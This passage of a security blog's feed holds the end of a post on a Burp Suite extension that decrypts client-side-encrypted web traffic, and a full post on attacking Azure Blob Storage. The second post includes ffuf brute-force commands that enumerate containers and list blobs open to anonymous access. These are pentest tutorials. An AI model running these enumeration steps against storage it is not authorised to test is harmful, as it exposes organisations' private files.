&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getEncParamReq&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; return&lt;&#x2F;span&gt;&lt;span&gt; encParamReq; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getEncParamResp&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; return&lt;&#x2F;span&gt;&lt;span&gt; encParamResp; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; setPrivateKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; key&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt; this&lt;&#x2F;span&gt;&lt;span&gt;.privateKeyB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; key; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; setPublicKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; key&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt; this&lt;&#x2F;span&gt;&lt;span&gt;.publicKeyB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; key; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; setEncryptedSymmetricKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; key&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt; this&lt;&#x2F;span&gt;&lt;span&gt;.encryptedSymmetricKeyB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; key; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; setEncryptedIvB64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; iv&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt; this&lt;&#x2F;span&gt;&lt;span&gt;.encryptedIvB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; iv; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; setEncParamReq&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; param&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt; this&lt;&#x2F;span&gt;&lt;span&gt;.encParamReq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; param; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; setEncParamResp&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; param&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt; this&lt;&#x2F;span&gt;&lt;span&gt;.encParamResp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; param; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; boolean&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; isConfigured&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        return !&lt;&#x2F;span&gt;&lt;span&gt;privateKeyB64.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;isEmpty&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; &amp;amp;&amp;amp; !&lt;&#x2F;span&gt;&lt;span&gt;encryptedSymmetricKeyB64.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;isEmpty&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; &amp;amp;&amp;amp; !&lt;&#x2F;span&gt;&lt;span&gt;encryptedIvB64.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;isEmpty&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image11.png&quot; alt=&quot;Extension settings tab in Burp Suite GUI&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;I won&#x27;t release the source code of this extension of mine because it&#x27;s basically a copy-paste of Hosam Gemei&#x27;s original extension, but with some small changes based on the needs I had during the process. The main point of all this was the learning process, but also the regret process of having to deal with Java xD.&lt;&#x2F;p&gt;
&lt;p&gt;After 5 hours in this process, and close to giving up with help from Claude Code, I managed to make this functional. As can be seen in the image below, it&#x27;s a simple window with 6 data inputs, which are basically the necessary data for decryption to be done and also what are the payloads to detect the input and server response, in this case, &lt;code&gt;data&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image12.png&quot; alt=&quot;Extension UI with 6 input fields for keys and parameters&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now when actually testing, I went back to that same route that returned a giant encrypted JSON and you can see that now we have a tab in the response called &quot;Decrypt&quot; and when I accessed it, fortunately there was my decrypted JSON with all information in clear text. Definitely a victory!&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image13.png&quot; alt=&quot;Burp Suite Decrypt tab showing the decrypted JSON response&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This type of protection may seem sufficient, but it&#x27;s actually rework, since in MiTM scenarios TLS would already do its job of transporting encrypted data, so adding an extra layer of this is redundant, even more so because the implementation is natively insecure due to the needs between client and server.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;From this process, it&#x27;s important to keep in mind that masking the data that the victim&#x27;s own browser sends and receives transmits a false sense of security, which can be seen as an interesting measure depending on the purpose of that application, but this doesn&#x27;t protect it from all attacks or make it inaccessible by attackers, it just takes time and understanding about the system.&lt;&#x2F;p&gt;
&lt;p&gt;In my honest opinion, this is a pure business decision and not very strategic, because it will end up taking more time to implement and later can generate maintenance problems. So what&#x27;s more important to be done here? Implement robust access controls like the principle of least privilege (RBAC and such), don&#x27;t store sensitive information in source code or Local Storage, don&#x27;t trust user input data and all those other issues that can be seen as more important.&lt;&#x2F;p&gt;
&lt;p&gt;At the end of it all, it was a very rewarding process to be able to develop this whole project and have an extremely positive result, and that later helped me find some other vulnerabilities in the application. Fortunately, I was lucky enough to find an article that solves the same pain as mine and some others that gave me ideas of what to do at certain moments.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;@hosam.gemeai&#x2F;a-guide-to-build-burp-suite-extensions-using-montoya-api-java-a8256a169bee&quot;&gt;medium.com — A Guide to Build Burp Suite Extensions using Montoya API (Java)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;melotover.medium.com&#x2F;bypassing-e2e-encryption-leads-to-multiple-high-vulnerabilities-65b708e5ad84&quot;&gt;medium.com — Bypassing E2E Encryption Leads to Multiple High Vulnerabilities&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Gemei&#x2F;Burp-Plugin-Demo&quot;&gt;github.com&#x2F;Gemei&#x2F;Burp-Plugin-Demo&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;portswigger.github.io&#x2F;burp-extensions-montoya-api&#x2F;javadoc&#x2F;burp&#x2F;api&#x2F;montoya&#x2F;MontoyaApi.html&quot;&gt;portswigger.net — MontoyaApi Javadoc&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.royalholloway.ac.uk&#x2F;media&#x2F;9116&#x2F;gageboyleisg.pdf&quot;&gt;royalholloway.ac.uk — Client-Side Encryption Research&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Attacking Azure Blob Storage Services</title>
        <published>2024-11-22T00:00:00+00:00</published>
        <updated>2024-11-22T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              dsm
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://larper.me/blog/attacking-azure-blob-storage/"/>
        <id>https://larper.me/blog/attacking-azure-blob-storage/</id>
        
        <content type="html" xml:base="https://larper.me/blog/attacking-azure-blob-storage/">&lt;p&gt;Azure, or Microsoft Azure, is a cloud computing platform maintained by Microsoft that offers a bunch of services used by many companies and individuals. Probably, the most famous solutions provided by Microsoft Azure are virtual machines, Azure Kubernetes Services (AKS), solutions for DevOps and DevSecOps, and of course, the giant integration with all other Microsoft services, for example, Active Directory, GitHub, Azure DevOps, Visual Studio, and GitHub Copilot.&lt;&#x2F;p&gt;
&lt;p&gt;Now, what is Azure Blob Storage? Azure Blob Storage is a massively scalable and &lt;del&gt;secure&lt;&#x2F;del&gt; object storage solution for cloud-native workloads, archives, data lakes, HPC, and machine learning (I took this from the Microsoft Azure Blob Storage website). Basically, a lot of companies store their files like videos, documents, executables, logs, backup data, and others in this service and share these resources through their services like web apps, systems, etc.&lt;&#x2F;p&gt;
&lt;p&gt;A Blob Storage is constructed of three types of resources, which are:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Storage Account&lt;&#x2F;strong&gt;: A Storage Account is the unique namespace for your Azure data. So, if you store your data on Azure Storage, your data will be available at an address that uses this namespace as the reference for access. Example: &lt;code&gt;https:&#x2F;&#x2F;000pp.blob.core.windows.net&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Container&lt;&#x2F;strong&gt;: A container is where all the blobs get stored; they work similarly to a directory in a file system. A good thing is there is no limit to how many blobs can be stored in a container, of course, because the purpose is to provide large storage access. A container name can be between 3 and 63 characters long and doesn&#x27;t support special characters besides the dash character (-).&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Blob&lt;&#x2F;strong&gt;: A blob is a binary large object and a storage option for any type of data that you want to store in a binary format. (I took this from Microsoft again)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;azure&#x2F;storage&#x2F;blobs&#x2F;media&#x2F;storage-blobs-introduction&#x2F;blob1.png&quot; alt=&quot;Azure Blob Storage resource hierarchy&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Azure Blob Storage is basically Microsoft&#x27;s version of Amazon S3 Bucket or Google Cloud Drive. The main purpose is to serve access to a large scale of files and provide more flexibility in the storing process.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;why-should-i-know-about-this&quot;&gt;Why should I know about this?&lt;&#x2F;h2&gt;
&lt;p&gt;Well, we&#x27;re hackers, or pentesters... so we should know about a bunch of things. Today, it is extremely easy to find websites that use Microsoft services&#x2F;technologies like IIS, ASP.NET, and now, Azure services, like Azure Blob Storage. If we understand the environment that we are fighting in, we know how to find vulnerabilities and create a good report for the client. I have already done a lot of pentests on clients that use Azure Blob Storage and discovered interesting info and sensitive data about the web app, infrastructure, or environment I was attacking with this knowledge.&lt;&#x2F;p&gt;
&lt;p&gt;Now that you understand the importance of knowing what Azure Blob Storage is, we can start talking about the good part: the vulnerabilities that we can find while dealing with this service.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;anonymous-access&quot;&gt;Anonymous Access&lt;&#x2F;h2&gt;
&lt;p&gt;The main advantage of Azure Blobs compared to other Azure artifacts like Azure Files (SMB and REST), Azure Queues, and Azure Tables is that Azure Blobs allow anonymous public read access, as we can see in the image below:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;attacking-azure-blob-storage&#x2F;azure-services.png&quot; alt=&quot;Azure services comparison showing anonymous access support&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;With anonymous access and the right request, we can enumerate all the blobs (files) inside the target Azure Blob Storage and find really good information. As we said before, the base URL for an Azure Blob Storage is &lt;code&gt;STORAGE_ACCOUNT_NAME.blob.core.windows.net&lt;&#x2F;code&gt;, so you need to first discover the Storage Account name. It can be easily discovered if the web app makes a direct request for the file it needs. For example:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;attacking-azure-blob-storage&#x2F;request.png&quot; alt=&quot;HTTP request revealing the storage account name in the URL&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In the image above, before the first dot is the storage account name. If you can&#x27;t find the storage account this way, I recommend trying three things:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Google Dorking&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;attacking-azure-blob-storage&#x2F;google-dorking.png&quot; alt=&quot;Google Dorking to find Azure Blob Storage URLs&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Use the company&#x27;s name&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;attacking-azure-blob-storage&#x2F;company.png&quot; alt=&quot;Trying the company name as storage account name&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Bruteforce with a custom wordlist&lt;&#x2F;p&gt;
&lt;p&gt;Try using FFUF with a custom wordlist that combines the company name and a generic storage name, like &lt;code&gt;amazoncontent&lt;&#x2F;code&gt;, &lt;code&gt;amazonstorage&lt;&#x2F;code&gt;, &lt;code&gt;amazonfiles&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;If you can find a valid Azure Blob Storage domain, you&#x27;re probably going to find a page similar to this:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;attacking-azure-blob-storage&#x2F;bruteforce.png&quot; alt=&quot;Azure Blob Storage response asking for the comp parameter&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;As we can see in the image above, the service is asking for the parameter &quot;comp&quot;. If we look at Microsoft&#x27;s documentation, it says we can enumerate container names using &lt;code&gt;?comp=list&lt;&#x2F;code&gt;, but this never worked for me. In an ideal world, like the first image I showed you, the container name will be in the URL. Example: &lt;code&gt;https:&#x2F;&#x2F;000pp.blob.core.windows.net&#x2F;static&#x2F;js&#x2F;jquery.js&lt;&#x2F;code&gt; — &lt;strong&gt;static&lt;&#x2F;strong&gt; is the container name. Again, you can use FFUF to enumerate container names. As you can see, the container name is &lt;strong&gt;static&lt;&#x2F;strong&gt;, a common word.&lt;&#x2F;p&gt;
&lt;p&gt;The main problem here is Azure Blob Storage does not indicate if the container name is valid or not, i.e. &lt;strong&gt;static&lt;&#x2F;strong&gt; can be a valid container name and &lt;strong&gt;notnotnotvalid&lt;&#x2F;strong&gt; invalid but we will get the same response for both:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;xml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;Error&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;Code&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;ResourceNotFound&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;Code&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;Message&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    The specified resource does not exist. RequestId:4f8c64bf-701e-0024-4099-3cb3d7000000 Time:2024-11-22T04:47:01.2790826Z&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;Message&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;Error&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;accessing-blobs-from-a-container&quot;&gt;Accessing blobs from a container&lt;&#x2F;h2&gt;
&lt;p&gt;But Microsoft is not an evil company, and there is a way to identify if the container name is valid or not. We need to append &lt;code&gt;?restype=container&amp;amp;comp=list&lt;&#x2F;code&gt; or just &lt;code&gt;?comp=list&lt;&#x2F;code&gt; to the end of the URL, and blobs will be listed.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;attacking-azure-blob-storage&#x2F;listing.png&quot; alt=&quot;Blob listing after appending restype=container&amp;amp;comp=list&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;With this in mind, we can go back to FFUF and enumerate valid container names through this command:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ffuf -c -w &#x2F;opt&#x2F;SecLists&#x2F;Discovery&#x2F;Web-Content&#x2F;common.txt --fc 404 --mc all -u https:&#x2F;&#x2F;000pp.blob.core.windows.net&#x2F;FUZZ?comp=list&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ffuf -c -w &#x2F;opt&#x2F;SecLists&#x2F;Discovery&#x2F;Web-Content&#x2F;common.txt --fc 404 --mc all -u https:&#x2F;&#x2F;000pp.blob.core.windows.net&#x2F;FUZZ?restype=container&amp;amp;comp=list&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Of course, you can use the tool of your choice, but I really like FFUF and have been using it for the last few years.&lt;&#x2F;p&gt;
&lt;p&gt;Now you can list the blobs. You just need to access the URL indicated by the Name or Url values. For example, if I want to access the .less file from the image I used above, the URL would be something like this: &lt;code&gt;https:&#x2F;&#x2F;000pp.blob.core.windows.net&#x2F;static&#x2F;backend&#x2F;REDACTED&#x2F;css&#x2F;REDACTED.less&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;attacking-azure-blob-storage&#x2F;content.png&quot; alt=&quot;Accessing a blob file directly via URL&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;I used this file as an example, but you can find internal documents by searching for files that end with &lt;code&gt;pdf&lt;&#x2F;code&gt;, &lt;code&gt;csv&lt;&#x2F;code&gt;, &lt;code&gt;xlsx&lt;&#x2F;code&gt;, &lt;code&gt;xls&lt;&#x2F;code&gt;, &lt;code&gt;docx&lt;&#x2F;code&gt;, or low-hanging fruits with &lt;code&gt;js&lt;&#x2F;code&gt;, &lt;code&gt;zip&lt;&#x2F;code&gt;, &lt;code&gt;sql&lt;&#x2F;code&gt; files. Or just adapt the search based on the environment you&#x27;re exploring. If the web app is developed with PHP, you can search for &lt;code&gt;php&lt;&#x2F;code&gt;, &lt;code&gt;inc&lt;&#x2F;code&gt;, &lt;code&gt;bkp&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Another problem is Azure Blob Storage is used to store a large scale of files. If you want to find files that end with pdf, you will need to use CTRL+F on your browser and filter one by one. If that wasn&#x27;t enough, you may come across errors like &lt;code&gt;FeatureVersionMismatch&lt;&#x2F;code&gt; and will need to specify the &lt;code&gt;x-ms-version&lt;&#x2F;code&gt; header with the value &lt;code&gt;2020-04-08&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;I&#x27;m a person that likes to develop tools&#x2F;scripts and bring more convenience to my life. So, I developed a tool to help with Azure Blob Storage. I called it Blobber, and it is developed with Python.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;blobber&quot;&gt;Blobber&lt;&#x2F;h2&gt;
&lt;p&gt;Blobber automates the process of adding &lt;code&gt;?restype=container&amp;amp;comp=list&lt;&#x2F;code&gt; to the URL, checks for errors, tries to bypass them, and lets you view only the really important data and filter by extensions with more convenience. You can skip the filter by extensions flag too, but be careful because a lot of content will be printed (probably).&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;attacking-azure-blob-storage&#x2F;blobber1.png&quot; alt=&quot;Blobber tool output — listing blobs&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;attacking-azure-blob-storage&#x2F;blobber2.png&quot; alt=&quot;Blobber tool output — filtering by extension&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Blobber is available on my GitHub if you have interest in using the tool.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;Today we learned a bit more about the Azure Blob Storage service and how valuable it is to find one with anonymous access enabled. I really enjoyed reading about this through Microsoft&#x27;s documentation and developing this script (Blobber). In my opinion, this is the best way to learn something new and improve your skills. I hope all you guys liked this post and learned something new. I hope to see you again soon.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;azure&#x2F;storage&#x2F;blobs&#x2F;&quot;&gt;learn.microsoft.com — Azure Blob Storage&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;azure&#x2F;storage&#x2F;blobs&#x2F;storage-blobs-overview&quot;&gt;learn.microsoft.com — Storage Blobs Overview&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;rest&#x2F;api&#x2F;storageservices&#x2F;blob-service-rest-api&quot;&gt;learn.microsoft.com — Blob Service REST API&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;rest&#x2F;api&#x2F;storageservices&#x2F;blob-service-concepts&quot;&gt;learn.microsoft.com — Blob Service Concepts&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;rest&#x2F;api&#x2F;storageservices&#x2F;enumerating-blob-resources&quot;&gt;learn.microsoft.com — Enumerating Blob Resources&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;rest&#x2F;api&#x2F;storageservices&#x2F;operations-on-containers&quot;&gt;learn.microsoft.com — Operations on Containers&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
